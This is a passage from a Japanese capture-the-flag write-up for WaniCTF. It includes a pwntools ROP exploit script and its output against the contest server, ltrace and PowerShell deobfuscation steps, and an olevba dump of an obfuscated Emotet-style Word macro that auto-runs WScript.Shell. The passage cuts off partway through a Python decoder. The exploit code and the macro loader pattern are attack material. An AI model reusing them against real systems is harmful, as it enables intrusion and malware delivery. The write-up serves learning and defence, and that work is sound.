#!/usr/bin/env python3.8 import pwn import ast # pwn.context.log_level = "DEBUG" def cmd_append_hex(tube, int_value): tube.sendlineafter(b"> ", b"1") tube.sendlineafter(b"hex value?: ", hex(int_value).encode()) def cmd_append_pop_rdi(tube): tube.sendlineafter(b"> ", b"2") def cmd_append_pop_rsi(tube): tube.sendlineafter(b"> ", b"3") def cmd_append_pop_rdx(tube): tube.sendlineafter(b"> ", b"4") def cmd_append_gets(tube): tube.sendlineafter(b"> ", b"5") def cmd_append_open(tube): tube.sendlineafter(b"> ", b"6") def cmd_append_read(tube): tube.sendlineafter(b"> ", b"7") def cmd_append_write(tube): tube.sendlineafter(b"> ", b"8") def cmd_show_arena(tube): tube.sendlineafter(b"> ", b"b") def cmd_execute(tube): tube.sendlineafter(b"> ", b"0") def solve(tube): tube.readuntil(b'"buf" address is ') address_buf = ast.literal_eval(tube.readlineS()) print(f"{hex(address_buf) = }") FD = 3 BUF_SIZE = 128 # read(0, buf, 8) cmd_append_pop_rdi(tube) cmd_append_hex(tube, 0) # 0: STDIN_FILENO cmd_append_pop_rsi(tube) cmd_append_hex(tube, address_buf) cmd_append_pop_rdx(tube) cmd_append_hex(tube, 8) cmd_append_read(tube) # open(buf, O_RDONLY) cmd_append_pop_rdi(tube) cmd_append_hex(tube, address_buf) cmd_append_pop_rsi(tube) cmd_append_hex(tube, 0) # 0: O_RDONLY cmd_append_open(tube) # read(FD, buf, SIZE) cmd_append_pop_rdi(tube) cmd_append_hex(tube, FD) cmd_append_pop_rsi(tube) cmd_append_hex(tube, address_buf) cmd_append_pop_rdx(tube) cmd_append_hex(tube, BUF_SIZE) cmd_append_read(tube) # write(FD, buf, SIZE) cmd_append_pop_rdi(tube) cmd_append_hex(tube, 1) # 1: STDOUT_FILENO cmd_append_pop_rsi(tube) cmd_append_hex(tube, address_buf) cmd_append_pop_rdx(tube) cmd_append_hex(tube, BUF_SIZE) cmd_append_write(tube) cmd_execute(tube) tube.clean() # rop-arena表示を無視 tube.send(b"flag.txt") # read用 print(tube.recvline().decode()) with pwn.remote("rop-machine-final.pwn.wanictf.org", 9005) as tube: solve(tube) # with pwn.process("./final") as tube: solve(tube) # with pwn.gdb.debug("./final", "b *0x4017A2\nc") as tube: solve(tube)
$ ./solve.py [+] Opening connection to rop-machine-final.pwn.wanictf.org on port 9005: Done hex(address_buf) = '0x404140' FLAG{you-might-be-the-real-rop-master} [*] Closed connection to rop-machine-final.pwn.wanictf.org port 9005 $
フラグを入手できました: FLAG{you-might-be-the-real-rop-master}
[Reversing, Beginner] ltrace (166pt, 154solved)
この問題はltraceで解ける...ってコト!? $ sudo apt-get install -y ltrace $ ltrace --help ヒント : オプションをよく確認しよう
配布ファイルはELFバイナリltrace
でした。とりあえずltrace実行してみました:
$ ltrace ./ltrace printf("Input flag : ") = 13 __isoc99_scanf(0x559678dc5012, 0x7ffc37036690, 0, 0Input flag : test ) = 1 strcmp("test", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...) = 46 puts("Incorrect"Incorrect ) = 10 +++ exited (status 1) +++ $
strcmpでフラグと比較していますが、フラグ表示が途中で打ち切られています。man ltrace
を見ると、-s
オプションが有効そうです:
-s strsize Specify the maximum string size to print (the default is 32).
そういうわけで-s
オプションを付けて実行しました:
$ ltrace -s 100000 ./ltrace printf("Input flag : ") = 13 __isoc99_scanf(0x56392f20d012, 0x7ffc8b032f80, 0, 0Input flag : test ) = 1 strcmp("test", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}") = 46 puts("Incorrect"Incorrect ) = 10 +++ exited (status 1) +++ $
フラグを入手できました: FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}
(最初は間違ってltrace ./ltrace -s 10000
と、ltraceコマンドではなく配布バイナリの方にオプションを適用してしまっていてハマっていました)
[Reversing, Easy] pwsh (197pt, 95solved)
Power!!! Installing PowerShell on Ubuntu
配布ファイルを確認すると、PowerShellスクリプトでした:
(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{ Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4 ','W4Co','d','e','rrect!cW4 } ','rec','tcW4 } ',' {','tput c','cW4Welcome to t','f',' Write-Ou',' if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')
とりあえず純粋な文字列操作らしい箇所だけをPowerShellで評価していきました:
PS C:\> (("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{ >> Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' >> ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4 >> >> ','W4Co','d','e','rrect!cW4 >> } ','rec','tcW4 >> } >> ',' {','tput c','cW4Welcome to t','f',' Write-Ou',' >> >> if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) echo "Welcome to the world of PowerShell!" $input = Read-Host "Password" if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") { Write-Output "Correct!" } else { Write-Output "Incorrect" } PS C:\> $VErboSEPReFErencE.TostRIng() SilentlyContinue PS C:\> $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'' iex PS C:\>
入力と比較するところから、フラグを入手できました: FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}
(ところで実行結果をテキストファイルに書いているうちにWindows DefenderがMicrosoft Defender Antivirus would like to check the following files to see if they are safe.
と言ってきました。なかなか厳格にスキャンしておられる。)
[Reversing, Hard] EmoEmotet (264pt, 44solved)
なんかヤバそうなファイルが添付されたメールが届いちゃった。 これってもしかしてあのEmo---だったり...? 注意 zipのパスワードは「emoemotet」です このファイルは競技用に作成されたもので、システムに害を与えるプログラムは含まれていません このファイルは一部のアンチウイルスソフトによって誤検知され削除されることがあります Windows, Wordがなくても解くことができます ヒント : https://github.com/decalage2/oletools
配布ファイルのzipを展開するとemoemotet.doc
が含まれていました。とりあえずヒントどおりにVBAを抽出しました:
remnux@remnux:~/EmoEmotet$ olevba emoemotet.doc olevba 0.56.2 on Python 3.6.9 - http://decalage.info/python/oletools =============================================================================== FILE: emoemotet.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO emo in file: emoemotet.doc - OLE stream: 'emo' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private InitDone As Boolean Private Map1(0 To 63) As Byte Private Map2(0 To 127) As Byte Sub AutoOpen() CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _ unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _ unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _ unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _ unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _ unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _ unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _ unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _ unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _ unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _ unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _ unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _ unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _ unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _ unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _ unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312) End Sub Public Function Base64Decode(ByVal s As String) As Byte() If Not InitDone Then Init Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) Dim ILen As Long: ILen = UBound(IBuf) + 1 If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "" Do While ILen > 0 If IBuf(ILen - 1) <> Asc("=") Then Exit Do ILen = ILen - 1 Loop Dim OLen As Long: OLen = (ILen * 3) \ 4 Dim Out() As Byte ReDim Out(0 To OLen - 1) As Byte Dim ip As Long Dim op As Long Do While ip < ILen Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ Err.Raise vbObjectError, , "" Dim b0 As Byte: b0 = Map2(i0) Dim b1 As Byte: b1 = Map2(i1) Dim b2 As Byte: b2 = Map2(i2) Dim b3 As Byte: b3 = Map2(i3) If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ Err.Raise vbObjectError, , "" Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 Out(op) = o0: op = op + 1 If op < OLen Then Out(op) = o1: op = op + 1 If op < OLen Then Out(op) = o2: op = op + 1 Loop Base64Decode = Out End Function Private Sub Init() Dim c As Integer, i As Integer i = 0 For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next Map1(i) = Asc("+"): i = i + 1 Map1(i) = Asc("/"): i = i + 1 For i = 0 To 127: Map2(i) = 255: Next For i = 0 To 63: Map2(Map1(i)) = i: Next InitDone = True End Sub Private Function ConvertStringToBytes(ByVal s As String) As Byte() Dim b1() As Byte: b1 = s Dim l As Long: l = (UBound(b1) + 1) \ 2 If l = 0 Then ConvertStringToBytes = b1: Exit Function Dim b2() As Byte ReDim b2(0 To l - 1) As Byte Dim p As Long For p = 0 To l - 1 Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) If c >= 256 Then c = Asc("?") b2(p) = c Next ConvertStringToBytes = b2 End Function Private Function unxor(ciphertext As Variant, start As Integer) Dim cleartext As String Dim key() As Byte key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _ "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _ "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _ "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==") cleartext = "" For i = LBound(ciphertext) To UBound(ciphertext) cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i)) Next unxor = cleartext End Function ------------------------------------------------------------------------------- VBA MACRO ThisDocument in file: emoemotet.doc - OLE stream: 'ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |AutoOpen |Runs when the Word document is opened | |Suspicious|Run |May run an executable file or a system | | | |command | |Suspicious|CreateObject |May create an OLE object | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Xor |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | +----------+--------------------+---------------------------------------------+ remnux@remnux:~/EmoEmotet$
さて次はVBAファイル内容を少しずつ評価して内容を理解したい、というところなのですが手元環境にはMicrosoft Officeが入っていません。「Windows同梱のVBScriptを使うか?」と考えて試してみましたが、As Boolean
箇所で構文エラーとなってしまいました。調べてみるとVisual Basic for Applications を VBScript に置き換える方法 | Outlook 研究所にあるようにVBAとVBScriptは大きく違うようです:
さらに、VBScript では変数の型宣言ができないため、変数同士の比較で予期しない型での比較が行われ、VBA と動作が変わってしまうことがあります。
仕方がないのでPythonスクリプトで同じようにデコードすることにしました。VBAのBase64Decode
関数は標準のBase64デコードをするものと信じて、Array
関数とunxor
関数を再実装して確認しました:
#!/usr/bin/env python3.8 import base64 def Array(*byte_elements): return bytes(byte_elements) def unxor(ciphertext, start_1_indexed): key = base64.b64decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" + "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" + "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" + "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==") cleartext = "" for (i, d) in enumerate(ciphertext): cleartext += chr(key[i + start_1_indexed] ^ d) return cleartext object_name = unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) + unxor(Array(201, 1), 14) # print(object_name) # WScript.Shell shell_script = unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) +\ unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) +\ unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) +\ unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) +\ unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 